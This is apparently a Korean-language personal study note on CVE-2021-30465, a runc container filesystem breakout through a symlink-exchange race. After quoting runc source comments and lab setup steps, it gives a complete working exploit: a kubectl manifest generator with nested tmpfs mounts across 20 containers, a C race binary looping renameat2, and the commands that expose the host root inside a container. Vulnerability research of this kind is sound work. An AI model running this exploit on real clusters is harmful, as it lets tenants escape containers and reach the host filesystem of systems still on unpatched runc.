runc before 1.0.0-rc95 allows a Container Filesystem Breakout via Directory Traversal. To exploit the vulnerability, an attacker must be able to create multiple containers with a fairly specific mount configuration. The problem occurs via a symlink-exchange attack that relies on a race condition.
1.0.0-rc95 이전의 runc는 컨테이너 파일시스템 탈출이 가능했다. 이 공격을 실행하기 위해 공격자는 구체적인 mount 설정을 변경할 수 있는 컨테이너를 임의로 생성할 수 있어야 한다. 이는 레이스 컨디션에 의한 symlink-exchange attack에 기반한다.
서버리스에서는 원하는 컨테이너에서 함수 런타임을 돌릴 수 있기 때문에 공격자 조건에 만족되지 않을까? 그리고 symlink-exchange attack이 도커/쿠버네티스 cve에 자주 등장하길래 분석해보기로 했따
poc가 없다근데 ㅎㅎ
rootfs_linux.go
준내게 많이 바뀌었다. 막막하다..
힌트가 되는 주석들을 좀 읽어보면
rc94에서
case "tmpfs":
copyUp := m.Extensions&configs.EXT_COPYUP == configs.EXT_COPYUP
tmpDir := ""
// dest might be an absolute symlink, so it needs
// to be resolved under rootfs.
dest, err := securejoin.SecureJoin(rootfs, m.Destination)
if err != nil {
return err
}
m.Destination = dest
절대 경로가 심볼릭 링크로 들어올 수 있으니 루트 파일시스템 안으로 넣어야 된다 이 부분이랑
default:
// ensure that the destination of the mount is resolved of symlinks at mount time because
// any previous mounts can invalidate the next mount's destination.
// this can happen when a user specifies mounts within other mounts to cause breakouts or other
// evil stuff to try to escape the container's rootfs.
var err error
if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil {
return err
}
if err := checkProcMount(rootfs, dest, m.Source); err != nil {
return err
}
// update the mount with the correct dest after symlinks are resolved.
m.Destination = dest
특히 여기
마운트 할 시에 이전 마운트가 다음 마운트에 영향을 미칠 수 있기 때문에 destination 경로는 절대경로로 들어와야 된다. 이는 유저가 마운트 안에서 특정 마운트를 설정해 놓는다든지 이런 짓을 통해 컨테이너의 rootfs 를 탈출 할 수 있게 한다
는 걸로 보아 정확히 저걸 해야 될거 같다. 도커도 이 위험성을 인지하고 있었고 securejoin으로 보안조치를 했지만 부족했었던 듯
알아야 할거 : mnt가 정확히 어떤방식으로 이루어지는지
삽질중...
쿠베- 도커 설정
kubeadm init
sudo kubeadm init --pod-network-cidr=10.244.0.0/16 \
--apiserver-advertise-address=<EC2 인스턴스 내부아이피>
config
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
install flannel for 20.04
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
join at worker
kubeadm init 할 때 kubelet이 죽는 문제 :
kubelet과 도커의 cgroup driver 를 맞춰줘야함
A solution that does not involve editing systemd units or drop-ins would be to create (or edit) the /etc/docker/daemon.json configuration file and to include the following:
{
"exec-opts": ["native.cgroupdriver=systemd"]
}
After saving it, restart your docker service.
sudo systemctl restart docker
This solution obviously is only feasible if you would want to apply this system-wide.
은 컨테이너와 엮여서 pod를 이룬다. 컨테이너가 꺼져도 살아있는 저장공간임. volume들은 다른 컨테이너의 다른 디렉토리에 각각 마운트될 수 있다.
volume 은 컨테이너의 생사와 관련이 없지만 pod의 생사와는 관련된다. pod가 꺼지면 volume 들은 사라진다. 이에 반해 PV는 pod들이 꺼져도 사라지지 않는다.
초기에 빈 디렉토리로 시작하는 volume. 이는 기본적으로 그 노드를 구성하는 저장공간(디스크, SSD, 네트워크 저장공간 등) 에 저장된다.
그러나 emptyDir.medium 필드를 "Memory" 로 설정하면 쿠버네티스가 tmpfs 를 마운트해준다!
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
volumes:
- name: empt-test1
emptyDir:
medium: "Memory"
#
containers:
- name: cnt1
image: ubuntu
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: empt-test1
mountPath: /c1/test1
- name: cnt2
image: ubuntu
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: empt-test1
mountPath: /c2/test1


kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
volumes:
- name: test1
emptyDir:
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
#
$(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
#
volumeMounts:
- name: test1
mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
- name: test2
mountPath: /test1/mnt$m
EOM
done
)
- name: test2
mountPath: /test1/zzz
EOC
done
)
EOF
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
volumes:
- name: test1
emptyDir: {}
- name: test2
emptyDir: {}
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
#
$(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
#
volumeMounts:
- name: test1
mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
- name: test2
mountPath: /test1/mnt$m
EOM
done
)
- name: test2
mountPath: /test1/zzz
EOC
done
)
EOF
race.c 바이너리
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1];
char *name2 = argv[2];
char *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0) {
perror("Error open CWD");
exit(EXIT_FAILURE);
}
if (mkdir(name1, 0755) < 0) {
perror("mkdir failed");
//do not exit
}
if (symlink(linkdest, name2) < 0) {
perror("symlink failed");
//do not exit
}
while (1)
{
renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
}
race 바이너리 c1에 복사 후 쉘실행
kubectl cp race -c c1 attack:/test1/
kubectl exec -ti pod/attack -c c1 -- bash
c1에서,
/test2/test2에 심볼릭링크 설정 (중요)
ln -s / /test2/test2
/test1/mnt 1~4 에서 레이스 바이너리 실행
cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
컨트롤 호스트쉘에서 나머지 컨테이너 init 실행
for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done
결과 확인
for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done
설명~
키포인트 :
심볼릭링크는 그 자체로 resolve 되지 않는다.
마운트 하는 대상의 성질을 바꿀 수 없다.
c2+ init 할때
- name: test2
mountPath: /test1/mnt$m
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX)
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)
race 바이너리로 인해
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)
/test2 → /tmp , tmp → volume/
volume
test1
mntX
mntX-tmp
test2
test2 → /
volume (test2)
test2 > /
- name: test2
mountPath: /test1/zzz
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)
/ on /test1/zzz
mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

+)
근데 저게 어캐됨

?
원래 상위 디렉토리에 마운트는 안되지만 tmpfs의 경우 runc에서 임의 디렉토리에 복사 후 마운트 하기때문에 가능
http://blog.champtar.fr/runc-symlink-CVE-2021-30465/
와드
https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95
https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc94